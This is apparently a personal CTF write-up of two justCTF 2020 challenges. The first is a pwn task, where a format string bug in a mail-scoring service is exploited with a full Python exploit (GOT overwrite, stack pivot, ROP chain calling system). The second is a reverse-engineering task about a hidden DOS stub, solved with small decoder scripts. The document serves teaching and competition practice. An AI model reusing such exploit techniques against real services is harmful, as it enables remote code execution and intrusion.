justCTF [*] 2020*1 had been held by @justCatTheFish from Jan 30th for 37 hours. I played it in zer0pts and we got the 5th place.
I'd been busy writing my bachelor thesis and I couldn't play some CTFs for some weeks. I felt it'd been a long time since I last played a CTF :-)
I only solved 2 challenges as there were only few pwn tasks and most of them were misc I'm newbie :cry:
[pwn 363pts] qmail (10 solves)
Description: One of the internet leaders launched an anti-spam mail checking service. You send it an email content and you get an aggregated score from multiple systems. However, it seems that something broke as the service doesn't respond from time to time. Am I sending content in EMail Message format? A mistake on their part seems implausible. Server: `nc qmail.nc.jctf.pro 1337` File: qmail
The program accepts an input of the e-mail format, then outputs the info in the JSON format. The vulnerability is super-obvious:
v17 = cJSON_CreateObject(); cJSON_AddItemToObject(v17, "plugins", plugin_json_output); v18 = cJSON_CreateNumber(0.0); cJSON_AddItemToObject(mailJ, "score", v18); v19 = cJSON_CreateBool(0LL); cJSON_AddItemToObject(mailJ, "spam", v19); v20 = cJSON_CreateBool(0LL); cJSON_AddItemToObject(mailJ, "reject", v20); cJSON_AddItemToObject(v17, "mail", mailJ); v21 = cJSON_CreateString("0.3.0.100"); cJSON_AddItemToObject(v17, "version", v21); v22 = (const char *)cJSON_Print(v17); printf("HTTP/1.0 200 OK\r\nContent-Type: application/json\r\nContent-Length: %u\r\n\r\n", strlen(v22) + 1); printf(v22); _IO_putc(10, stdout); fflush(stdout); return 0;
The subject of the e-mail is printed, which may ignite the format string bug.
The first problem is we can't input NULL byte to the subject. This problem can easily be solved by putting the address into the e-mail body. The body message may contain NULL bytes and it's stored on the stack.
The second problem, perhaps the main concept of this challenge, is we need to cut off the standard input. We can break the input loop only by shutting the stdin down.
do { v6 = read(0, v24, 0x400uLL); v7 = v6; if ( v6 < 0 ) break; ... } while ( v7 );
Since we have to finish the exploit by a single shot, we should do ROP to gain RCE.
RELRO is disabled and we can overwrite the GOT entries of some functions, for example _IO_puts
.
The first thing to do is stack pivot.
There are plenty of gadgets for this.
I used the following gadget (at the end of mess_open
function):
add rsp, 0x100 pop rbx ret
The valud of RSP comes to the middle of the e-mail body and we can run ROP chain.
The next problem is we can't inject the second stage payload. This means it's useless to leak the libc address. In such cases I use add gadgets. I chose the following gadget:
0x00406e12: add dword [rbp-0x7C], eax ; sal byte [rbp+0x0B], 0x00000041 ; lea eax, dword [rcx+0x05] ; ret ; (2 found)
We can adjust the address of a libc function (i.e. __libc_start_main
) to the address of __libc_system
.
Then calling it by call [rsi]
or jmp [rsi]
is enough.
As we can't use standard input, we have to run a command other than /bin/sh
.
I injected the command string into the memory by some mov gadgets.
Here is the final exploit:
from ptrlib import * elf = ELF("./qmail") """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./qmail") """ libc = ELF("libc-2.27.so") sock = Socket("qmail.nc.jctf.pro", 1337) #""" addr_cmd = elf.section('.bss') + 0x400 rop_pop_rbp = 0x403355 rop_xchg_eax_ebp = 0x406e75 # constraints: rcx=0 rop_add_prbp_m7Ch_eax = 0x00406e12 rop_mov_prdi_p10h_rsi = 0x00405b46 rop_pop_rsi = 0x00403b7c rop_pop_rdi = 0x004050a6 rop_call_prsi = 0x00408a6b rop_jmp_prsi = 0x004086fb written = 44 write = 0x403715 ofs = 36 payload = '' payload += '%{}c%{}$hhn'.format( ((write & 0xff) - written) % 0x100, ofs ) written = (write & 0xff) payload += '%{}c%{}$hhn'.format( (((write >> 8) & 0xff) - written) % 0x100, ofs + 1 ) mail = b'Subject:' + payload.encode() + b'\r\n' mail += b'From: ' + b'A' * (0xe6 - len(mail)) mail += b'\r\n\r\n' for i in range(2): mail += p64(elf.got('_IO_putc') + i) mail += flat([ # prepare system rop_pop_rbp, libc.symbol('system') - libc.symbol('__libc_start_main'), rop_xchg_eax_ebp, rop_pop_rbp, elf.got('__libc_start_main') + 0x7c, rop_add_prbp_m7Ch_eax, # prepare cmd rop_pop_rdi, addr_cmd - 0x10, rop_pop_rsi, u64(b'cat /fla'), rop_mov_prdi_p10h_rsi, rop_pop_rdi, addr_cmd - 0x8, rop_pop_rsi, u64(b'g.txt'), rop_mov_prdi_p10h_rsi, # call system(cmd) rop_pop_rdi, addr_cmd, rop_pop_rsi, elf.got('__libc_start_main'), rop_jmp_prsi ], map=p64) sock.send(mail) sock.shutdown('write') sock.interactive()
First blood, yay!
$ python solve.py [+] __init__: Successfully connected to qmail.nc.jctf.pro:1337 [ptrlib]$ justCTF{format-strings-vulns-are-awful-but-still-with-us} (process:1): GLib-ERROR **: 02:18:49.788: ../../../../glib/gmem.c:135: failed to allocate 80 bytes
[rev 363pts] Rusty (10 solves)
Description: Looking at Rust code in disassembler/decompiler hurts, so... look somewhere else. File: rusty.exe
We're given a PE file, which is probably written in Rust. To conclude first, this Rust part is a dummy.
I analysed the Rust binary and wrote the following solver:
from z3 import * x = b'' x += int.to_bytes(0x13C012000FB00FB011B013B01440145, 16, 'little') x += int.to_bytes(0x1190140012C0141013B014701420151, 16, 'little') x += int.to_bytes(0x138013201350143015D014701160119, 16, 'little') x += int.to_bytes(0x13E014201430149014A013A01300136, 16, 'little') x += int.to_bytes(0x0D600D100D200E600D900F200FA0134, 16, 'little') x += int.to_bytes(0x0BF00630063008900A900D400D300D7, 16, 'little') x += int.to_bytes(0x14A0108, 4, 'little') s = Solver() flag = [BitVec(f'flag_{i}', 8) for i in range(0x37)] s.add(flag[0] == ord('j')) s.add(flag[1] == ord('c')) s.add(flag[2] == ord('t')) s.add(flag[3] == ord('f')) s.add(flag[4] == ord('{')) s.add(flag[0x36] == ord('}')) for i in range(7, 0x39): a = ZeroExt(8, flag[(i-2) % len(flag)]) b = ZeroExt(8, flag[(i-1) % len(flag)]) c = ZeroExt(8, flag[i % len(flag)]) t = a + b + c s.add(t == int.from_bytes(x[i*2-0x0e:i*2-0x0e+2], 'little')) r = s.check() if r == sat: m = s.model() output = '' for c in flag: output += chr(m[c].as_long()) print(output) else: print(r)
$ python dummy.py jctf{this_IS_not_the_|>_you_are_looking_4_FAKEFLAG!!!!}
What? I don't know why the author prepared this fake flag :thinking:
After some analysis, I found there's an unused region in the binary.
As you can see from the figure above, the offset to .text
section is larger than a normal PE file.
The following is the dump of a normal PE file head:
00000040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th| 00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno| 00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS | 00000070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 |mode....$.......| 00000080 50 45 00 00 64 86 13 00 a5 c2 16 60 00 ae 3f 00 |PE..d......`..?.| 00000090 95 18 00 00 f0 00 27 00 0b 02 02 1e 00 52 0c 00 |......'......R..|
The following, however, is the given binary:
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e |This program can| 00000210 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f |not be run in DO| 00000220 53 20 6d 6f 64 65 2e 0d 0a 24 8b c0 fa 2e 8b c0 |S mode...$......| 00000230 00 00 00 00 3e 49 26 52 45 22 42 10 66 0b 6c 06 |....>I&RE"B.f.l.| 00000240 0d 50 0f 4c 25 4c 3f 12 56 03 20 5a 14 61 4a 3f |.P.L%L?.V. Z.aJ?| 00000250 5d 51 12 5c 18 05 43 39 4f 32 0a 24 d9 0f 9f 0d |]Q.\..C9O2.$....| 00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000280 00 00 00 00 00 00 00 24 27 00 fc e8 39 02 b8 13 |.......$'...9...| 00000290 00 cd 10 e8 69 01 b8 00 a0 8e c0 e8 29 01 e8 14 |....i.......)...|
Something is different obviously.
After some attempts, I found this binary worked as an MS-DOS program. Running this binary in DOSBOX generated the following fire movie.
@x0r19x91 analysed this binary as an MS-DOS program and found the logic:
dest = [ 0x3E, 0x49, 0x26, 0x52, 0x45, 0x22, 0x42, 0x10, 0x66, 0x0B, 0x6C, 0x06, 0x0D, 0x50, 0x0F, 0x4C, 0x25, 0x4C, 0x3F, 0x12, 0x56, 0x03, 0x20, 0x5A, 0x14, 0x61, 0x4A, 0x3F, 0x5D, 0x51, 0x12, 0x5C, 0x18, 0x05, 0x43, 0x39, 0x4F, 0x32, 0x0A ] for i in range(39): for j in range(i, 39): dest[j] ^= key[i] print(''.join(map(chr, dest)))
The left thing to do is to find out the key.
Unfortunately, I really don't know how to find the key. I completely guessed the key by the information that the key length is 39-byte. The sentence "This program cannot be run in DOS mode.". which we often see in PE files, is also 39-byte length.
I used this sentence as the key and got the flag.
dest = [ 0x3E, 0x49, 0x26, 0x52, 0x45, 0x22, 0x42, 0x10, 0x66, 0x0B, 0x6C, 0x06, 0x0D, 0x50, 0x0F, 0x4C, 0x25, 0x4C, 0x3F, 0x12, 0x56, 0x03, 0x20, 0x5A, 0x14, 0x61, 0x4A, 0x3F, 0x5D, 0x51, 0x12, 0x5C, 0x18, 0x05, 0x43, 0x39, 0x4F, 0x32, 0x0A ] key = b'This program cannot be run in DOS mode.' for i in range(39): for j in range(i, 39): dest[j] ^= key[i] print(''.join(map(chr, dest)))
Is this just a guessing task or did I miss something? :thinking:
$ python solve.py justCTF{just_a_rusty_old_DOS_stub_task}
*1:why not 2021?